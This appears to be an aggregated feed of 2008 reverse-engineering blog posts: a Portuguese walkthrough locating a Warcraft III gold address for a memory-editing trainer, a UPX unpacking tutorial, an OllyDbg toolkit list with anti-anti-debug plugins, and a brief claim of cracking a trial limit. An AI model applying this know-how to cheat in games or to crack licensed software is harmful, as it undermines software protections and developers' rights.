6F6628A2 MOV BYTE PTR DS:[EAX],CL 6F6628A4 PUSH EBX 6F6628A5 PUSH EDI 6F6628A6 MOV EDI,DWORD PTR SS:[EBP+8]

Percebemos que o registrador EAX está com apontando para um dos nossos endereços, e vemos que o valor de EBP+8 é o novo valor do gold que deve ser atualizado, EBP geralmente é usado para especificar parâmetros, então esta variável deve estar vindo de uma função acima no stack, vamos segui-la:

6F151766 CALL Game.6F088E10 6F15176B MOV ECX,EAX 6F15176D MOV EAX,6666666 6F151772 IMUL ECX 6F151774 SAR EDX,2 6F151777 MOV EAX,EDX 6F151779 SHR EAX,1F 6F15177C ADD EDX,EAX 6F15177E JMP SHORT Game.6F151782 6F151780 XOR EDX,EDX 6F151782 PUSH EDX 6F151783 PUSH Game.6F804EC0 ; ASCII "%u" 6F151788 LEA ECX,DWORD PTR SS:[EBP-40] 6F15178B PUSH 40 6F15178D PUSH ECX 6F15178E CALL <JMP.&Storm.#578> 6F151793 MOV ECX,DWORD PTR DS:[EDI+124] 6F151799 ADD ESP,10 6F15179C LEA EDX,DWORD PTR SS:[EBP-40] 6F15179F PUSH EDX 6F1517A0 CALL Game.6F662890

A variável que está sendo passada como parâmetro é a EDX, logo antes da chamada à função que estavamos anteriormente temos um:

6F15179C LEA EDX,DWORD PTR SS:[EBP-40]

Que faz com que EDX aponte para o endereço DWORD PTR SS:[EBP-40], provavelmente uma variável local com tamanho fixo de 0×40, que está sendo populado quando a função <JMP.&Storm.#578> é chamada, então observemos os seus parâmetros: regitrador EDX, variável local com valor “%u”, uma variável local e seu respectivo tamanho. Está com cara de uma função de conversão de valor decimal para caractere. Sabemos então que EDX está com o valor decimal do gold.

A instrução que origina o valor de EDX antes de serem efetuados aqueles calculos (que são necessário para converter o valor “escondido” no decimal) é:

6F151766 CALL Game.6F088E10 6F15176B MOV ECX,EAX

Aqui observamos que no fim das contas o valor de EDX vem do retorno da função ((registrador EAX) chamada no bloco acima, então vamos entrar nessa função e ver de onde que o registrador EAX tira o seu valor:

Gotcha!
6F088E78 MOV EAX,DWORD PTR DS:[EDX+78] 6F088E7B POP ESI 6F088E7C POP EBX 6F088E7D RETN

Logo no fim dessa função podemos ver o endereço de onde o valor de EAX está vindo, então finalmente, ai está o maldito endereço do gold. Mas porque nós não tinhamos achado ele no início? Porque o valor está com um zero a mais (gold 500, valor 5000) ai os bytes que a gente procurou são inúteis. Agora para brincar escreva no endereço EDX+78 o quanto de gold você quer ter .

Agora este endereço entra no problema da memória alocada dinâmicamente que expliquei em outro post (cada vez que o processo war3.exe for reiniciado esse endereço será outro), deixarei a criação do “trainer” (programa externo que modifica a memória de outro processo) de tema de casa, só vou dar uma dica: Win32 ReadProcessMemory/WriteProcessMemory. Não se iluda, o calculo da memória “fixa” vai ser bem mais complicado do que o que eu descrevi no post pois envolve vários ponteiros e estruturas, mas todos têm condições de fazê-lo.

Até o próximo post, aceito sugestões .

Unpacking UPX

KOrUPt — Mon, 12 May 2008 15:00:03 +0000

Hi all.

UPX is considered one of the easiest packers to unpack, it is also widely used and offers good compression ratio’s… Today I’ll be showing you how to unpack it .

Before we continue I’d recommend you download UPX from it’s official site, that being http://upx.sourceforge.net.

Difficulty:

easy.

Tools needed:

Brain.
PEiD.
OllyDbg.
OllyDump plugin.
Knowledge of use to use OllyDbg.

Ok lets get started, firstly lets scan our file with PEiD to check it’s actually packed with UPX.

UPX 0.89.6 – 1.02 / 1.05 – 1.24 -> Markus & Laszlo

That’s good. Open the packed file in OllyDbg. UPX’s entry point looks this:

PUSHAD
MOV ESI, Server.00408000
LEA EDI, DWORD PTR DS:[ESI+FFFF9000]
PUSH EDI
OR EBP, FFFFFFFF
JMP SHORT Server.0040BA82

The PUSHAD instruction is of interest to us in this case, it does the following:

PUSHAD - Push All General Purpose Registers.

We can use what is known as the ESP(Extended Stack Pointer) trick to find OEP(Original Entry Point), just follow along.

Step over the PUSHAD instruction and you’ll notice the ESP register changes,

right click the ESP register in OllyDbgs registers window and proceed by following it in the dump, select the first 4 bytes in the dump window(relative to where you just followed to), right click and set a hardware breakpoint on access to these bytes.

Press F9 until you hit the hardware breakpoint, you should land on a JMP which leads to OEP, step over it.

Side-Note: The above is known as the ESP trick and can be used in quite a few cases when it comes to finding OEP. However there are some more complex and reliable methods to achieve the same result, I wont delve into them at the moment…

You should now be at OEP. The IAT(Import Address Table) is basically intact so there’s no need to launch ImpRec and attempt to rebuild it(Most protectors tend to destroy the IAT to complicate our job).

All that’s left to do is dumping, launch the OllyDump plugin, leave the rebuild imports option on (method 1), continue dumping the file.

Finally, test your dump, if you did everything correctly it should run fine.

You’ve now successfully unpacked UPX, well done and I hope somebody learned something from this tutorial.

KOrUPt.

What's in my toolkit?

KOrUPt — Fri, 09 May 2008 18:07:30 +0000

Hey. What setup and tools would you recommend to help with RE?

Hi all.

The above is a question I get asked a lot by newbies to RE, so I thought I’d take the time to answer the question here.

Preferred Disassembler:

IDA Pro Advanced Edition.

Preferred Debugger:

OllyDbg(v1.10) - Modified by myself to provide added stealth and improved visuals.

Ok So what Plugins would you recommend for my OllyDbg?

Of course this question depends on what you’re trying to do and is a little generic.

But nonetheless I’ve complied a list of the ones I use most frequently, hopefully it helps your cause.

OllyAdvanced – Very useful plugin for improving all round functionality and anti-anti-debug.
OllyPad – Have a guess… Useful for jotting down VA’s(Virtual address’s).
CommandBar – It Speeds things up if you know how to use it. I don’t want to go in depth here.
OllyDump – Every unpacker should have this.
OllyTBarManager - A Useful toolbar to store links to your rather RE Utilities.
ODbgScript - Used for writing and running portable scripts to make your job easier.
NonaWrite - Do a lot of large inline patches? Get this.
LCBPlugn - All round Breakpoint, Label and comment importer and exporter.
Ph4nt0m - More stealth.
Asm2Clipboard - Self explaining.
OllyScript - Same concept as ODbgScript.
MemoryWatch - Allows you to step over/into code and look for certain values in memory.
WindowJuggler - Helps in enabling/disabling and identifying windows.
OllyPEDumper - Alternative to OllyDump.
Bookmarks - Allows you to bookmark certain areas of code.
GamesInvader - I’ve not used it(But do have it). Apparently a memory scanner.

And that’s it… Took longer than I thought to list those so I hope it’s appreciated .

What do you use to check if an executable is packed or protected?

I use PEiD and RDG Packer Detector (I’d recommend you do too). ProtectionId can also be useful should you be working with games(game-hacking).

What’s your favorite IDE for coding?

I primarily code with C/C++, My preferred IDE is MSVC6 Equipped with Visual Assist X and the Platform SDK.

Where can I start to learn about RCE?

I’d recommend you read Lena151’s tutorials on the subject .

I cant think of anything more to add to this post at the moment…

Want to recommend a plugin for OllyDbg or the like? Feel free to drop in a comment .

Thanks and I hope this helps some of you who are trying to learn.

Cracked BillSerialMonitor 3.0W's "3 Minute Trial time limit"

kocoman — Thu, 14 Feb 2008 14:31:56 +0000

Yay, I removed the “3 Minute Trial time limit” by patching one byte (after decompress neolite)

Will post the howto later

Its a program that can monitor Novatel’s diag port. (you will need to edit the memory of the COMx port), will post that when complete.

Apa Yang Baru di PCMAV RC24

ithum — Fri, 01 Feb 2008 01:26:52 +0000

PCMAV RC24 direlease dengan beberapa perubahan yang cukup penting dibanding release candidate 23 (RC

Experiencing freeze with ollydbg?

opcode0x90 — Sun, 13 Jan 2008 11:31:13 +0000

At ollydbg’s Debugging Options, uncheck Registers -> Decode SSE Registers. This should fix the hang up when debugging multi-threaded apps. Sometimes the hang up is caused by the plugins, check if any causing it and remove it accordingly.